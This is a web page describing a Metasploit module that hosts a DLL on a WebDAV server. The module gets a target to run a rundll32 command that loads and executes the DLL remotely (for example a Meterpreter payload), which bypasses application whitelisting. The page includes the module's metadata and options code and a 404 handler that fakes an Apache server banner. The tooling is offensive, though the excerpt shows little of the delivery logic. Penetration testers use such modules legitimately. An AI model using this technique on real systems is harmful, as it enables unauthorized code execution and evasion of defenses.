WebDAV Server Serving DLL

This Metasploit module simplifies the rundll32.exe Application Whitelisting Bypass technique. The module creates a webdav server that hosts a dll file. When the user types the provided rundll32 command on a system, rundll32 will load the dll remotely and execute the provided export function. The export function needs to be valid, but the default meterpreter function can be anything. The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV but does not load the dll from that location. This file should be removed after execution. The extension can be anything you'd like, but you don't have to use one. Two files will be written to disk. One named the requested name and one with a dll extension attached.

def initialize(info = {}) super(update_info(info, 'Name' => 'Serve DLL via webdav server', 'Description' => %q( This module simplifies the rundll32.exe Application Whitelisting Bypass technique. The module creates a webdav server that hosts a dll file. When the user types the provided rundll32 command on a system, rundll32 will load the dll remotly and execute the provided export function. The export function needs to be valid, but the default meterpreter function can be anything. The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV but does not load the dll from that location. This file should be removed after execution. The extension can be anything you'd like, but you don't have to use one. Two files will be written to disk. One named the requested name and one with a dll extension attached. ), 'License' => MSF_LICENSE, 'Author' => [ 'Ryan Hanson <ryan.hanson[at]optiv.com>', # research discovery (@ryhanson) 'James Cook <james.cook[at]optiv.com>' # MSF Module (@_jbcook) ], 'Targets' => [['Automatic', {}]], 'Platform' => %w[win], 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999')) register_options( [ OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/']) ], self.class ) end

# Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found def send_not_found(cli) resp_404 = create_response(404, 'Not Found') resp_404.body = %Q{\<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address></body></html>}